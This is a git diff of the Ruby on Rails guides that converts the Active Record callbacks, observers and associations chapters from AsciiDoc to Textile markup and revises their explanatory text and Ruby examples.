 * +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element.
 * +#errorExplanation ul li+ - Style for the list of error messages.
 
-=== Changing the way form fields with errors are displayed
+h4. Customizing the Error Messages HTML
 
-By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, we can write some Ruby code to override the way Rails treats those fields by default. Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
+By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, it's possible to override the way Rails treats those fields by default. 
 
-[source, ruby]
-------------------------------------------------------------------
+Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
+
+
 ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
   if instance.error_message.kind_of?(Array)
     %(#{html_tag} 
@@ -616,248 +709,247 @@ ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
       #{instance.error_message})
   end
 end
-------------------------------------------------------------------
+
 
 This will result in something like the following content:
 
-image::images/validation_error_messages.png[Validation error messages]
+!images/validation_error_messages.png(Validation error messages)!
 
-The way form fields with errors are treated is defined by the +ActionView::Base.field_error_proc+ Ruby Proc. This Proc receives two parameters: 
+The way form fields with errors are treated is defined by the +ActionView::Base.field_error_proc+ Ruby Proc. This Proc receives two parameters:
 
 * A string with the HTML tag
 * An object of the +ActionView::Helpers::InstanceTag+ class.
 
-== Callbacks
+h3. Callbacks Overview
 
 Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database.
 
-=== Callbacks registration
+# TODO discuss what does/doesn't trigger callbacks, like we did in the validations section (e.g. destroy versus delete).
+# Consider moving up to the (new) intro overview section, before getting into details.
+# http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M002220
+# http://api.rubyonrails.org/classes/ActiveRecord/Callbacks.html
 
-In order to use the available callbacks, you need to registrate them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks.
+h4. Callback Registration
 
-[source, ruby]
-------------------------------------------------------------------
+In order to use the available callbacks, you need to register them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks.
+
+
 class User < ActiveRecord::Base
   validates_presence_of :login, :email
-  
+
   before_validation :ensure_login_has_a_value
-  
+
   protected
   def ensure_login_has_a_value
     if self.login.nil?
       self.login = email unless email.blank?
     end
-  end  
+  end
 end
-------------------------------------------------------------------
+
 
-The macro-style class methods can also receive a block. Rails best practices say that you should only use this style of registration if the code inside your block is so short that it fits in just one line.
+The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class User < ActiveRecord::Base
   validates_presence_of :login, :email
-  
+
   before_create {|user| user.name = user.login.capitalize if user.name.blank?}
 end
-------------------------------------------------------------------
+
 
-CAUTION: Remember to always declare the callback methods as being protected or private. These methods should never be public, otherwise it will be possible to call them from code outside the model, violating object encapsulation and exposing implementation details.
+It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
 
-== Conditional callbacks
+h3. Conditional Callbacks
 
 Like in validations, we can also make our callbacks conditional, calling then only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option.
 
-=== Using a symbol with the +:if+ and +:unless+ options
+h4. Using :if and :unless with a Symbol
 
 You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check the if the callback should be executed.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Order < ActiveRecord::Base
   before_save :normalize_card_number, :if => :paid_with_card?
 end
-------------------------------------------------------------------
+
 
-=== Using a string with the +:if+ and +:unless+ options
+h4. Using :if and :unless with a String
 
 You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Order < ActiveRecord::Base
   before_save :normalize_card_number, :if => "paid_with_card?"
 end
-------------------------------------------------------------------
+
 
-=== Using a Proc object with the +:if+ and :+unless+ options
+h4. Using :if and :unless with a Proc
 
 Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object. This option is best suited when writing short validation methods, usually one-liners.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Order < ActiveRecord::Base
-  before_save :normalize_card_number, 
+  before_save :normalize_card_number,
     :if => Proc.new { |order| order.paid_with_card? }
 end
-------------------------------------------------------------------
+
 
-=== Multiple Conditions for Callbacks
+h4. Multiple Conditions for Callbacks
 
 When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Comment < ActiveRecord::Base
-  after_create :send_email_to_author, :if => :author_wants_emails?, 
+  after_create :send_email_to_author, :if => :author_wants_emails?,
     :unless => Proc.new { |comment| comment.post.ignore_comments? }
 end
-------------------------------------------------------------------
+
+
+h3. Available Callbacks
 
-== Available callbacks
- 
 Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations.
 
-=== Callbacks called both when creating or updating a record.
+h4. Creating and/or Updating an Object
 
-* +before_validation+ 
-* +after_validation+ 
-* +before_save+ 
-* *INSERT OR UPDATE OPERATION*
-* +after_save+ 
+* +before_validation+
+* +after_validation+
+* +before_save+
+* INSERT OR UPDATE OPERATION
+* +after_save+
 
-=== Callbacks called only when creating a new record.
+h4. Creating an Object
 
-* +before_validation_on_create+ 
-* +after_validation_on_create+ 
+* +before_validation_on_create+
+* +after_validation_on_create+
 * +before_create+
-* *INSERT OPERATION*
+* INSERT OPERATION
 * +after_create+
 
-=== Callbacks called only when updating an existing record.
+h4. Updating an Object
 
 * +before_validation_on_update+
 * +after_validation_on_update+
 * +before_update+
-* *UPDATE OPERATION*
+* UPDATE OPERATION
 * +after_update+
 
-=== Callbacks called when removing a record from the database.
+h4. Destroying an Object
 
 * +before_destroy+
-* *DELETE OPERATION*
+* DELETE OPERATION
 * +after_destroy+
 
-The +before_destroy+ and +after_destroy+ callbacks will only be called if you delete the model using either the +destroy+ instance method or one of the +destroy+ or +destroy_all+ class methods of your Active Record class. If you use +delete+ or +delete_all+ no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database.
+CAUTION: The +before_destroy+ and +after_destroy+ callbacks will only be called if you delete the model using either the +destroy+ instance method or one of the +destroy+ or +destroy_all+ class methods of your Active Record class. If you use +delete+ or +delete_all+ no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database.
 
-=== The +after_initialize+ and +after_find+ callbacks
+h4. after_initialize and after_find
 
-The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by direcly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
+The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
 
-The +after_find+ callback will be called whenever Active Record loads a record from the database. When used together with +after_initialize+ it will run first, since Active Record will first read the record from the database and them create the model object that will hold it. 
+The +after_find+ callback will be called whenever Active Record loads a record from the database. When used together with +after_initialize+ it will run first, since Active Record will first read the record from the database and them create the model object that will hold it.
 
 The +after_initialize+ and +after_find+ callbacks are a bit different from the others, since the only way to register those callbacks is by defining them as methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries.
 
-== Halting Execution
+h3. Halting Execution
 
 As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the +before_create+, +before_save+, +before_update+ or +before_destroy+ callback methods returns a boolean +false+ (not +nil+) value or raise and exception, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on. It's because the whole callback chain is wrapped in a transaction, so raising an exception or returning +false+ fires a database ROLLBACK.
 
-== Callback classes
+h3. Callback Classes
 
 Sometimes the callback methods that you'll write will be useful enough to be reused at other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
 
 Here's an example where we create a class with a after_destroy callback for a PictureFile model.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class PictureFileCallbacks
   def after_destroy(picture_file)
     File.delete(picture_file.filepath) if File.exists?(picture_file.filepath)
   end
 end
-------------------------------------------------------------------
+
 
 When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:
 
-[source, ruby]
-------------------------------------------------------------------
+
 class PictureFile < ActiveRecord::Base
   after_destroy PictureFileCallbacks.new
 end
-------------------------------------------------------------------
+
 
 Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class PictureFileCallbacks
   def self.after_destroy(picture_file)
     File.delete(picture_file.filepath) if File.exists?(picture_file.filepath)
   end
-end 
-------------------------------------------------------------------
+end
+
 
 If the callback method is declared this way, it won't be necessary to instantiate a PictureFileCallbacks object.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class PictureFile < ActiveRecord::Base
   after_destroy PictureFileCallbacks
 end
-------------------------------------------------------------------
+
 
 You can declare as many callbacks as you want inside your callback classes.
 
-== Observers
+h3. Observers
 
-Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that's not directly related to the model's purpose. In object-oriented software, it's always a good idea to design your classes with a single responsibility in the whole system. For example, it wouldn't make much sense to have a +User+ model with a method that writes data about a login attempt to a log file. Whenever you're using callbacks to write code that's not directly related to your model class purposes, it may be a good moment to create an Observer.
+Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
 
-An Active Record Observer is an object that links itself to a model and registers its methods for callbacks. Your model's implementation remains clean, while you can reuse the code in the Observer to add behaviour to more than one model class. OK, you may say that we can also do that using callback classes, but it would still force us to add code to our model's implementation.
+h4. Creating observers
 
-Observer classes are subclasses of the ActiveRecord::Observer class. When this class is subclassed, Active Record will look at the name of the new class and then strip the 'Observer' part to find the name of the Active Record class to observe.
+For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality.
 
-Consider a Registration model, where we want to send an email every time a new registration is created. Since sending emails is not directly related to our model's purpose, we could create an Observer to do just that:
-
-[source, ruby]
-------------------------------------------------------------------
-class RegistrationObserver < ActiveRecord::Observer
+
+class UserObserver < ActiveRecord::Observer
   def after_create(model)
-    # code to send registration confirmation emails...
+    # code to send confirmation email...
   end
 end
-------------------------------------------------------------------
+
 
-Like in callback classes, the observer's methods receive the observed model as a parameter.
+As with callback classes, the observer's methods receive the observed model as a parameter.
 
-Sometimes using the ModelName + Observer naming convention won't be the best choice, mainly when you want to use the same observer for more than one model class. It's possible to explicity specify the models that our observer should observe. 
+h4. Registering Observers
 
-[source, ruby]
-------------------------------------------------------------------
-class Auditor < ActiveRecord::Observer
-  observe User, Registration, Invoice
-end
-------------------------------------------------------------------
+Observers should be placed inside of your *app/models* directory and registered in your application's *config/environment.rb* file. For example, the +UserObserver+ above would be saved as *app/models/user_observer.rb* and registered in *config/environment.rb*.
 
-=== Registering observers
-
-If you paid attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiated and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application's *config/environment.rb* file. In this file there is a commented-out line where we can define the observers that our application should load at start-up.
-
-[source, ruby]
-------------------------------------------------------------------
+
 # Activate observers that should always be running
-config.active_record.observers = :registration_observer, :auditor
-------------------------------------------------------------------
+config.active_record.observers = :user_observer
+
 
-You can uncomment the line with +config.active_record.observers+ and change the symbols for the name of the observers that should be registered.
+As usual, settings in *config/environments/* take precedence over those in *config/environment.rb*. So, if you prefer that an observer not run in all environments, you can simply register it in a specific environment instead.
 
-It's also possible to register callbacks in any of the files living at *config/environments/*, if you want an observer to work only in a specific environment. There is not a +config.active_record.observers+ line at any of those files, but you can simply add it.
+h4. Sharing Observers
 
-=== Where to put the observers' source files
+By default, Rails will simply strip 'observer' from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe.
 
-By convention, you should always save your observers' source files inside *app/models*.
+
+class MailerObserver < ActiveRecord::Observer
+  observe :registration, :user
+  
+  def after_create(model)
+    # code to send confirmation email...
+  end
+end
+
 
-== Changelog
+In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in *config/environment.rb* in order to take effect. 
 
-http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks[Lighthouse ticket]
+
+# Activate observers that should always be running
+config.active_record.observers = :mailer_observer
+
 
-January 9, 2009: Initial version by http://guides.rails.info/authors.html#cmarques[Cássio Marques]
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks
+
+* February 10, 2009: Observers revision by Trevor Turk
+* February 5, 2009: Initial revision by Trevor Turk
+* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques
diff --git a/vendor/rails/railties/doc/guides/source/association_basics.txt b/vendor/rails/railties/guides/source/association_basics.textile
similarity index 57%
rename from vendor/rails/railties/doc/guides/source/association_basics.txt
rename to vendor/rails/railties/guides/source/association_basics.textile
index 95d73975..e82f32d3 100644
--- a/vendor/rails/railties/doc/guides/source/association_basics.txt
+++ b/vendor/rails/railties/guides/source/association_basics.textile
@@ -1,5 +1,4 @@
-A Guide to Active Record Associations
-=====================================
+h2. A Guide to Active Record Associations
 
 This guide covers the association features of Active Record. By referring to this guide, you will be able to:
 
@@ -7,69 +6,66 @@ This guide covers the association features of Active Record. By referring to thi
 * Understand the various types of Active Record associations
 * Use the methods added to your models by creating associations
 
-== Why Associations?
+endprologue.
+
+h3. Why Associations?
 
 Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
 end
 
 class Order < ActiveRecord::Base
 end
--------------------------------------------------------
+
 
 Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
 
-[source, ruby]
--------------------------------------------------------
-@order = Order.create(:order_date => Time.now, :customer_id => @customer.id)
--------------------------------------------------------
+
+@order = Order.create(:order_date => Time.now,
+  :customer_id => @customer.id)
+
 
 Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
 
-[source, ruby]
--------------------------------------------------------
+
 @orders = Order.find_by_customer_id(@customer.id)
 @orders.each do |order|
   order.destroy
 end
 @customer.destroy
--------------------------------------------------------
+
 
 With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
-  has_many :orders
+  has_many :orders, :dependent => :destroy
 end
 
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
--------------------------------------------------------
+
 
 With this change, creating a new order for a particular customer is easier:
 
-[source, ruby]
--------------------------------------------------------
+
 @order = @customer.orders.create(:order_date => Time.now)
--------------------------------------------------------
+
 
 Deleting a customer and all of its orders is _much_ easier:
 
-[source, ruby]
--------------------------------------------------------
+
 @customer.destroy
--------------------------------------------------------
+
 
 To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
 
-== The Types of Associations
+h3. The Types of Associations
 
-In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
 
 * +belongs_to+
 * +has_one+
@@ -80,53 +76,49 @@ In Rails, an _association_ is a connection between two Active Record models. Ass
 
 In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
 
-=== The +belongs_to+ Association
+h4. The belongs_to Association
 
 A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
--------------------------------------------------------
+
 
-image:images/belongs_to.png[belongs_to Association Diagram]
+!images/belongs_to.png(belongs_to Association Diagram)!
 
-=== The +has_one+ Association
+h4. The has_one Association
 
 A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account
 end
--------------------------------------------------------
+
 
-image:images/has_one.png[has_one Association Diagram]
+!images/has_one.png(has_one Association Diagram)!
 
-=== The +has_many+ Association
+h4. The has_many Association
 
 A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+
 
 NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
 
-image:images/has_many.png[has_many Association Diagram]
+!images/has_many.png(has_many Association Diagram)!
 
-=== The +has_many :through+ Association
+h4. The has_many :through Association
 
 A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Physician < ActiveRecord::Base
   has_many :appointments
   has_many :patients, :through => :appointments
@@ -141,14 +133,13 @@ class Patient < ActiveRecord::Base
   has_many :appointments
   has_many :physicians, :through => :appointments
 end
--------------------------------------------------------
+
 
-image:images/has_many_through.png[has_many :through Association Diagram]
+!images/has_many_through.png(has_many :through Association Diagram)!
 
-The +has_many :through+ association is also useful for setting up "shortcuts" through nested :+has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
 
-[source, ruby]
--------------------------------------------------------
+
 class Document < ActiveRecord::Base
   has_many :sections
   has_many :paragraphs, :through => :sections
@@ -162,14 +153,13 @@ end
 class Paragraph < ActiveRecord::Base
   belongs_to :section
 end
--------------------------------------------------------
+
 
-=== The +has_one :through+ Association
+h4. The has_one :through Association
 
 A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account
   has_one :account_history, :through => :account
@@ -183,16 +173,15 @@ end
 class AccountHistory < ActiveRecord::Base
   belongs_to :account
 end
--------------------------------------------------------
+
 
-image:images/has_one_through.png[has_one :through Association Diagram]
+!images/has_one_through.png(has_one :through Association Diagram)!
 
-=== The +has_and_belongs_to_many+ Association
+h4. The has_and_belongs_to_many Association
 
 A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
 
-[source, ruby]
--------------------------------------------------------
+
 class Assembly < ActiveRecord::Base
   has_and_belongs_to_many :parts
 end
@@ -200,18 +189,17 @@ end
 class Part < ActiveRecord::Base
   has_and_belongs_to_many :assemblies
 end
--------------------------------------------------------
+
 
-image:images/habtm.png[has_and_belongs_to_many Association Diagram]
+!images/habtm.png(has_and_belongs_to_many Association Diagram)!
 
-=== Choosing Between +belongs_to+ and +has_one+
+h4. Choosing Between belongs_to and has_one
 
-If you want to set up a 1-1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
+If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
 
 The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account
 end
@@ -219,12 +207,11 @@ end
 class Account < ActiveRecord::Base
   belongs_to :supplier
 end
--------------------------------------------------------
+
 
 The corresponding migration might look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class CreateSuppliers < ActiveRecord::Migration
   def self.up
     create_table :suppliers do |t|
@@ -244,16 +231,15 @@ class CreateSuppliers < ActiveRecord::Migration
     drop_table :suppliers
   end
 end
--------------------------------------------------------
+
 
-NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
+NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
 
-=== Choosing Between +has_many :through+ and +has_and_belongs_to_many+
+h4. Choosing Between has_many :through and has_and_belongs_to_many
 
 Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
 
-[source, ruby]
--------------------------------------------------------
+
 class Assembly < ActiveRecord::Base
   has_and_belongs_to_many :parts
 end
@@ -261,12 +247,11 @@ end
 class Part < ActiveRecord::Base
   has_and_belongs_to_many :assemblies
 end
--------------------------------------------------------
+
 
 The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
 
-[source, ruby]
--------------------------------------------------------
+
 class Assembly < ActiveRecord::Base
   has_many :manifests
   has_many :parts, :through => :manifests
@@ -281,18 +266,17 @@ class Part < ActiveRecord::Base
   has_many :manifests
   has_many :assemblies, :through => :manifests
 end
--------------------------------------------------------
+
 
-The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table). 
+The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database).
 
 You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
 
-=== Polymorphic Associations
+h4. Polymorphic Associations
 
 A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
 
-[source, ruby]
--------------------------------------------------------
+
 class Picture < ActiveRecord::Base
   belongs_to :imageable, :polymorphic => true
 end
@@ -304,12 +288,15 @@ end
 class Product < ActiveRecord::Base
   has_many :pictures, :as => :imageable
 end
--------------------------------------------------------
+
 
-You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+. Similarly, you can retrieve +@product.pictures+. If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+.
 
-[source, ruby]
--------------------------------------------------------
+Similarly, you can retrieve +@product.pictures+.
+
+If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+
 class CreatePictures < ActiveRecord::Migration
   def self.up
     create_table :pictures do |t|
@@ -324,12 +311,11 @@ class CreatePictures < ActiveRecord::Migration
     drop_table :pictures
   end
 end
--------------------------------------------------------
+
 
 This migration can be simplified by using the +t.references+ form:
 
-[source, ruby]
--------------------------------------------------------
+
 class CreatePictures < ActiveRecord::Migration
   def self.up
     create_table :pictures do |t|
@@ -343,25 +329,25 @@ class CreatePictures < ActiveRecord::Migration
     drop_table :pictures
   end
 end
--------------------------------------------------------
+
 
-image:images/polymorphic.png[Polymorphic Association Diagram]
+!images/polymorphic.png(Polymorphic Association Diagram)!
 
-=== Self Joins
+h4. Self Joins
 
-In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
 
-[source, ruby]
--------------------------------------------------------
+
 class Employee < ActiveRecord::Base
-  has_many :subordinates, :class_name => "Employee", :foreign_key => "manager_id"
+  has_many :subordinates, :class_name => "Employee",
+    :foreign_key => "manager_id"
   belongs_to :manager, :class_name => "Employee"
 end
--------------------------------------------------------
+
 
 With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
 
-== Tips, Tricks, and Warnings
+h3. Tips, Tricks, and Warnings
 
 Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
 
@@ -370,55 +356,52 @@ Here are a few things you should know to make efficient use of Active Record ass
 * Updating the schema
 * Controlling association scope
 
-=== Controlling Caching
+h4. Controlling Caching
 
-All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
 
-[source, ruby]
--------------------------------------------------------
+
 customer.orders                 # retrieves orders from the database
 customer.orders.size            # uses the cached copy of orders
 customer.orders.empty?          # uses the cached copy of orders
--------------------------------------------------------
+
 
 But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
 
-[source, ruby]
--------------------------------------------------------
+
 customer.orders                 # retrieves orders from the database
 customer.orders.size            # uses the cached copy of orders
-customer.orders(true).empty?    # discards the cached copy of orders and goes back to the database
--------------------------------------------------------
+customer.orders(true).empty?    # discards the cached copy of orders
+                                # and goes back to the database
+
 
-=== Avoiding Name Collisions
+h4. Avoiding Name Collisions
 
 You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
 
-=== Updating the Schema
+h4. Updating the Schema
 
 Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table.
 
-==== Creating Foreign Keys for +belongs_to+ Associations
+h5. Creating Foreign Keys for belongs_to Associations
 
 When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
--------------------------------------------------------
+
 
 This declaration needs to be backed up by the proper foreign key declaration on the orders table:
 
-[source, ruby]
--------------------------------------------------------
+
 class CreateOrders < ActiveRecord::Migration
   def self.up
     create_table :orders do |t|
       t.datetime   :order_date
-      t.string     :order_number 
-      t.integer    :customer_id 
+      t.string     :order_number
+      t.integer    :customer_id
     end
   end
 
@@ -426,20 +409,19 @@ class CreateOrders < ActiveRecord::Migration
     drop_table :orders
   end
 end
--------------------------------------------------------
+
 
 If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
 
-==== Creating Join Tables for +has_and_belongs_to_many+ Associations
+h5. Creating Join Tables for has_and_belongs_to_many Associations
 
-If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. 
+If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
 
